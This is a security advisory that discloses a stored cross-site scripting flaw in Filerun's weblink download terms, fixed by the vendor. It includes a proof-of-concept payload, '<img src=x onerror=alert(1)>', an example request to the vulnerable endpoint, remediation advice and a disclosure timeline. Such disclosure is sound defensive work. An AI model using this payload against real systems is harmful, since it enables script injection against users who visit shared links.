usd-2022-0009 | Stored XSS in Filerun (Update 20220202)

Advisory ID: usd-2022-0009
Product: Filerun
Affected Version: Update 20220202
Vulnerability Type: CWE-79: Improper Neutralization of Input During Web Page Generation
Security Risk: High
Vendor URL:
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed


Filerun does not properly validate user supplied input. Because of this, a user is able to inject custom javascript into the download terms for shared files using weblinks. This can lead to stored XSS attacks.

Proof of Concept

To reproduce the vulnerability, the download_terms GET parameter is set as follows: "download_terms=<img src=x onerror=alert(1)>"

In the following, an exemplary HTTP request is given:

POST /?module=weblinks&section=ajax&page=update HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 208
Origin: http://localhost
Connection: close
Referer: http://localhost/?module=weblinks&_popup_id=webLink
Cookie: FileRunSID=a6534d23bf316c6f7b91b0ca1de98e4
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin




The payload is triggered when a user visits the created share link:


It is recommended to treat all input on the website as potentially dangerous. Hence, all output that is dynamically generated based on user-controlled data should be encoded according to its context. The majority of programming languages support standard procedures for encoding meta characters. For example, PHP has the built-in function htmlspecialchars().




  • 2022-04-22: Vulnerability identified by Christian Pöschl
  • 2022-04-25: First contact request via
  • 2022-04-29: Vulnerability details submitted to Vendor
  • 2022-05-10: Fixed by Vendor
  • 2022-10-31: This advisory is published